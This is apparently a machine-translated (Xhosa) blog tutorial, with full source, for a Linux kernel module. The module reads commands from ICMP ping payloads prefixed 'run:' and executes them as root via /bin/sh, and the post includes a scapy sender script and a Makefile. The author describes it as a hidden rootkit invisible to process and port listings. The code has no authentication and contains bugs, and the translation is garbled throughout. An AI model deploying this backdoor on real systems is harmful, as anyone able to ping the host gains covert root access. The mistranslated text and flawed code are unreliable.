Iqokobhe leNyukliya ngaphezulu kwe-ICMP

Iqokobhe leNyukliya ngaphezulu kwe-ICMP

TL; DR: Ndibhala imodyuli ye-kernel eya kufunda imiyalelo evela kwi-ICMP yokuhlawula kwaye iyenze kumncedisi nokuba i-SSH yakho iphazamisekile. Kowona uphelelwa ngumonde, yonke ikhowudi github.

Qaphela Abacwangcisi benkqubo beC abanamava basengozini yokuphalala iinyembezi zegazi! Ndingade ndiphosise kwisigama, kodwa nakuphi na ukugxekwa kwamkelekile. Isithuba senzelwe abo banombono orhabaxa kakhulu weC inkqubo kwaye bafuna ukujonga ngaphakathi kweLinux.

Kwizimvo kweyam yokuqala nqaku ikhankanyiwe iSoftEther VPN, enokulinganisa ezinye iiprotocol "eziqhelekileyo", ngakumbi i-HTTPS, i-ICMP kunye ne-DNS. Ndiyakwazi ukucinga kuphela abokuqala basebenza, kuba ndiqhelene kakhulu ne-HTTP (S), kwaye kwafuneka ndifunde ukuthungatha phezu kwe-ICMP kunye ne-DNS.

Iqokobhe leNyukliya ngaphezulu kwe-ICMP

Ewe, ngo-2020 ndifunde ukuba ungafaka umthwalo ohlawulelwayo ngokungenasizathu kwiipakethi ze-ICMP. Kodwa kungcono emva kwexesha kunokuba ungazange! Yaye ekubeni kukho into enokwenziwa ngayo, ngoko kufuneka yenziwe. Kuba kubomi bam bemihla ngemihla ndihlala ndisebenzisa umgca womyalelo, kubandakanya ne-SSH, umbono weqokobhe le-ICMP weza engqondweni yam kuqala. Kwaye ukuze ndidibanise ibhingo ye-bullshield epheleleyo, ndigqibe kwelokuba ndiyibhale njengemodyuli yeLinux ngolwimi endinombono ongalunganga ngalo. Iqokobhe elinjalo aliyi kubonakala kuluhlu lweenkqubo, ungayifaka kwi-kernel kwaye ayiyi kuba kwindlela yefayile, awuyi kubona nantoni na ekrokrisayo kuluhlu lwamazibuko okuphulaphula. Ngokwamandla ayo, le yi-rootkit epheleleyo, kodwa ndiyathemba ukuyiphucula kwaye ndiyisebenzise njengeqokobhe lendawo yokugqibela xa uMyinge woMyilelo uphezulu kakhulu ukuba ungene nge-SSH kwaye wenze ubuncinci. echo i > /proc/sysrq-triggerukubuyisela ufikelelo ngaphandle kokuphinda uqalise.

Sithatha umhleli wombhalo, izakhono ezisisiseko zokucwangcisa kwiPython kunye neC, iGoogle kunye ebonakalayo ongakhathaliyo ukuyibeka phantsi kwemela ukuba yonke into iyaphuka (ukhetho - i-VirtualBox / KVM / njl njl) kwaye masihambe!

Icala lomthengi

Kwakubonakala kum ukuba inxalenye yomxhasi kuya kufuneka ndibhale iskripthi malunga nemigca engama-80, kodwa kwakukho abantu abanobubele abenzele yona. wonke umsebenzi. Ikhowudi iye yabonakala ilula ngokungalindelekanga, ingena kwimigca eyi-10 ebalulekileyo:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Iscript sithatha iingxoxo ezimbini, idilesi kunye nomthwalo wokuhlawula. Ngaphambi kokuthumela, umthwalo womvuzo ulandelwa sisitshixo run:, siya kuyidinga ukuba singabandakanyi iipakethe ezinomthwalo ohlawulelwayo.

I-kernel ifuna amalungelo akhethekileyo ukwenza iipakethe, ngoko ke iskripthi kuya kufuneka siqhutywe njengomsebenzisi ophezulu. Ungalibali ukunika iimvume zokuphumeza kwaye ufake i-scapy ngokwayo. I-Debian inephakheji ebizwa python3-scapy. Ngoku unokujonga ukuba yonke into isebenza njani.

Ukubaleka kunye nokukhupha umyalelo
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Yile nto ibonakala ngayo kwi-sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Ukuhlawula kwiphakheji yempendulo ayitshintshi.

Imodyuli yeKernel

Ukwakha kumatshini weDebian onenyani uyakufuna ubuncinci make ΠΈ linux-headers-amd64, abanye baya kuza ngendlela yokuxhomekeka. Andizukubonelela ngekhowudi yonke kwinqaku; unokuyifanisa kwiGithub.

Ukuseta hook

Ukuqala, sifuna imisebenzi emibini ukuze silayishe imodyuli kwaye siyikhuphe. Umsebenzi wokukhuphela awufunwa, kodwa ke rmmod ayizukusebenza, imodyuli iya kuthululwa kuphela xa icinyiwe.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Kwenzeka ntoni apha:

  1. Iifayile ezimbini zeheader zitsalwa ngaphakathi ukuze kulawule umnqongo ngokwawo kunye nesihluzi somnatha.
  2. Yonke imisebenzi ihamba ngesihluzi se-netfilter, unokuseta amagwegwe kuyo. Ukwenza oku, kufuneka uvakalise isakhiwo apho ikhonkco iya kuqulunqwa. Eyona nto ibalulekileyo kukucacisa umsebenzi oza kwenziwa njenge hook: nfho.hook = icmp_cmd_executor; Ndizakufika kumsebenzi ngokwawo kamva.
    Emva koko ndiseta ixesha lokuqhuba lepakethe: NF_INET_PRE_ROUTING ixela ukuqhubekeka kwempahla xa iqala ukuvela kwi kernel. Inokusetyenziswa NF_INET_POST_ROUTING ukucubungula ipakethi njengoko iphuma kwi-kernel.
    Ndiseta isihluzi kwi-IPv4: nfho.pf = PF_INET;.
    Ndibeka ikhonkco yam eyona nto iphambili: nfho.priority = NF_IP_PRI_FIRST;
    Kwaye ndibhalisa ubume bedatha njenge hook yokwenyani: nf_register_net_hook(&init_net, &nfho);
  3. Umsebenzi wokugqibela ususa ikhonkco.
  4. Ilayisensi iboniswe ngokucacileyo ukuze umqambi angakhalazi.
  5. Imisebenzi module_init() ΠΈ module_exit() cwangcisa eminye imisebenzi yokuqalisa nokuphelisa umnqongo.

Ukubuyisela umthwalo womvuzo

Ngoku kufuneka sikhuphe umthwalo, oku kuye kwaba ngowona msebenzi unzima. I-kernel ayinayo imisebenzi eyakhelweyo yokusebenza kunye nemithwalo ehlawulwayo; unokwahlulahlula kuphela iiheader zeprotocol zomgangatho ophezulu.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Kwenzekani:

  1. Kwafuneka ndifake iifayile zentloko ezongezelelweyo, ngeli xesha ukwenza i-IP kunye neentloko ze-ICMP.
  2. Ndiseta ubuninzi bobude bomgca: #define MAX_CMD_LEN 1976. Kutheni le nto kanye? Ngenxa yokuba umqokeleli uyakhalaza ngayo! Sele bendicebisile ukuba kufuneka ndisiqonde isitaki kunye nemfumba, ngenye imini ngokuqinisekileyo ndiya kuyenza le nto kwaye mhlawumbi ndiyilungise ikhowudi. Kwangoko ndiseta umgca oza kuba nomyalelo: char cmd_string[MAX_CMD_LEN];. Kufuneka ibonakale kuyo yonke imisebenzi; Ndiza kuthetha ngale nto ngakumbi kumhlathi we-9.
  3. Ngoku kufuneka siqale (struct work_struct my_work;) isakhiwo kwaye uyidibanise nomnye umsebenzi (DECLARE_WORK(my_work, work_handler);). Ndiza kuthetha nokuba kutheni le nto iyimfuneko kumhlathi wesithoba.
  4. Ngoku ndibhengeza umsebenzi, oya kuba yihuka. Uhlobo kunye neengxoxo ezamkelweyo zilawulwa sisihluzo se-netfilter, sinomdla kuphela skb. Le yi-socket buffer, isakhiwo sedatha esisisiseko esiqulethe lonke ulwazi olukhoyo malunga nepakethi.
  5. Ukuze umsebenzi usebenze, uya kufuna izakhiwo ezibini kunye nezinto ezininzi eziguquguqukayo, kubandakanywa iziphindaphindo ezimbini.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Sinokuqala ngengqiqo. Ukuze imodyuli isebenze, akukho mapakethi ngaphandle kwe-ICMP Echo efunekayo, ngoko ke sichaza i-buffer ngokusebenzisa imisebenzi eyakhelweyo kwaye silahle zonke iipakethi ezingezizo ze-ICMP kunye ne-non-Echo. Buyela NF_ACCEPT kuthetha ukwamkelwa kwephakheji, kodwa unokulahla iipakethe ngokubuyisela NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Khange ndivavanye ukuba kuya kwenzeka ntoni ngaphandle kokujonga iiheader ze-IP. Ulwazi lwam oluncinci ngo-C lundixelela ukuba ngaphandle kweetshekhi ezongezelelweyo, into embi ngokuqinisekileyo iya kwenzeka. Ndingavuya ukuba uyandigxotha kule nto!

  7. Ngoku ukuba ipakethe yolo hlobo oluludingayo, unokukhupha idatha. Ngaphandle komsebenzi owakhelwe ngaphakathi, kufuneka uqale ufumane isalathisi ekuqaleni komthwalo wokuhlawula. Oku kwenziwa kwindawo enye, kufuneka uthathe isalathisi ekuqaleni kwentloko ye-ICMP kwaye uyihambise kubukhulu balo mxholo. Yonke into isebenzisa isakhiwo icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Isiphelo sesihloko kufuneka sihambelane nesiphelo somthwalo womvuzo skb, ke ngoko siyifumana sisebenzisa izixhobo zenyukliya ukusuka kwisakhiwo esihambelanayo: tail = skb_tail_pointer(skb);.

    Iqokobhe leNyukliya ngaphezulu kwe-ICMP

    Umfanekiso ubiwe kusuka apha, unokufunda ngakumbi malunga ne-socket buffer.

  8. Nje ukuba ube nezikhombisi ekuqaleni nasekupheleni, unokukopa idatha kumtya cmd_string, khangela ubukho besimaphambili run: kwaye, nokuba ulahle impahla ukuba ilahlekile, okanye phinda ubhale umgca kwakhona, ususa esi simaphambili.
  9. Yiyo loo nto, ngoku ungafowunela omnye umphathi: schedule_work(&my_work);. Ekubeni kungeke kwenzeke ukudlula iparameter kwifowuni enjalo, umgca onomyalelo kufuneka ube jikelele. schedule_work() izakubeka umsebenzi odityaniswe nesakhiwo esigqithisiweyo kumgca jikelele womcwangcisi womsebenzi kwaye ugqibezele, ukuvumela ukuba ungalindi umyalelo ukuba ugqibe. Oku kuyimfuneko kuba ikhonkco kufuneka ikhawuleze kakhulu. Ngaphandle koko, ukhetho lwakho kukuba akukho nto iya kuqala okanye uya kufumana i-kernel panic. Ukulibazisa kufana nokufa!
  10. Yiloo nto, unokwamkela iphakheji ngembuyekezo ehambelanayo.

Ukufowuna inkqubo kwindawo yomsebenzisi

Lo msebenzi ngowona uqondakalayo. Igama layo lanikwa DECLARE_WORK(), uhlobo kunye neengxoxo ezamkelweyo azinamdla. Sithatha umgca kunye nomyalelo kwaye siwudlulise ngokupheleleyo kwigobolondo. Makajongane nokwahlulahlula, ukukhangela iibhinari nayo yonke enye into.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Misela iingxoxo kuluhlu lweentambo argv[]. Ndizakucinga ukuba wonke umntu uyazi ukuba iinkqubo ziqhutywa ngolu hlobo, kwaye hayi njengomgca oqhubekayo onezithuba.
  2. Seta iinguqu zemo engqongileyo. Ndifake kuphela i-PATH kunye neseti encinci yeendlela, ngethemba lokuba zonke sele zidityanisiwe /bin с /usr/bin и /sbin с /usr/sbin. Ezinye iindlela azifane zibenentsingiselo ekusebenzeni.
  3. Ugqibile, masiyenze! Umsebenzi weKernel call_usermodehelper() yamkela ukungena. indlela eya kokubini, uluhlu lweengxoxo, uluhlu lwezinto eziguquguqukayo zemekobume. Apha kwakhona ndicinga ukuba wonke umntu uyayiqonda intsingiselo yokudlulisa umendo kwifayile ephunyezwayo njengengxoxo eyahlukileyo, kodwa unokubuza. Ingxoxo yokugqibela ixela ukuba kulindelwe ukuba inkqubo igqitywe (UMH_WAIT_PROC), qala inkqubo (UMH_WAIT_EXEC) okanye ungalindi kwaphela (UMH_NO_WAIT). Ngaba kukho ezinye UMH_KILLABLE, andizange ndiyijonge.

Ndibano

Ukuhlanganiswa kweemodyuli ze-kernel zenziwa nge-kernel make-framework. Ifowunelwe make ngaphakathi kulawulo olukhethekileyo olubotshelelwe kuguqulelo lwekernel (echazwe apha: KERNELDIR:=/lib/modules/$(shell uname -r)/build), kwaye indawo yemodyuli idluliselwe kuguquko M kwiingxoxo. I-icmpshell.ko kunye neethagethi ezicocekileyo zisebenzisa esi sikhokelo ngokupheleleyo. IN obj-m ibonisa ifayile yento ezakuguqulwa ibe ngumnqongo. Isintaksi esibuyisela kwakhona main.o Π² icmpshell.o (icmpshell-objs = main.o) ayibonakali isengqiqweni kum, kodwa makube njalo.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Siqokelela: make. Iyalayisha: insmod icmpshell.ko. Ugqibile, ungajonga: sudo ./send.py 45.11.26.232 "date > /tmp/test". Ukuba unefayile kumatshini wakho /tmp/test kwaye iqulathe umhla esithunyelwe ngawo isicelo, nto leyo ethetha ukuba wenze yonke into kakuhle kwaye yonke into ndiyenze kakuhle.

isiphelo

Amava am okuqala ngophuhliso lwenyukliya alula kakhulu kunokuba bendilindele. Ngaphandle kwamava aphuhliswayo kwi-C, egxininise kwiingcebiso ze-compiler kunye neziphumo zeGoogle, ndakwazi ukubhala imodyuli yokusebenza kwaye ndizive njenge-kernel hacker, kwaye kwangaxeshanye ndingumntwana wesikripthi. Ukongeza, ndaya kwijelo leKernel Newbies, apho kwathiwa mandisebenzise schedule_work() endaweni yokufowuna call_usermodehelper() ngaphakathi hook ngokwayo kwaye wamhlazisa, ngokufanelekileyo ukrokrela umkhonyovu. Imigca elikhulu yekhowudi indibiza malunga neveki yophuhliso ngexesha lam lokukhulula. Amava aphumeleleyo atshabalalise intsomi yam malunga nobunzima obukhulu bophuhliso lwenkqubo.

Ukuba umntu uyavuma ukwenza uphononongo lwekhowudi kwiGithub, ndiya kuba nombulelo. Ndiqinisekile ukuba ndenze iimpazamo ezininzi zobudenge, ngakumbi xa ndisebenza ngeentambo.

Iqokobhe leNyukliya ngaphezulu kwe-ICMP

umthombo: www.habr.com

Yongeza izimvo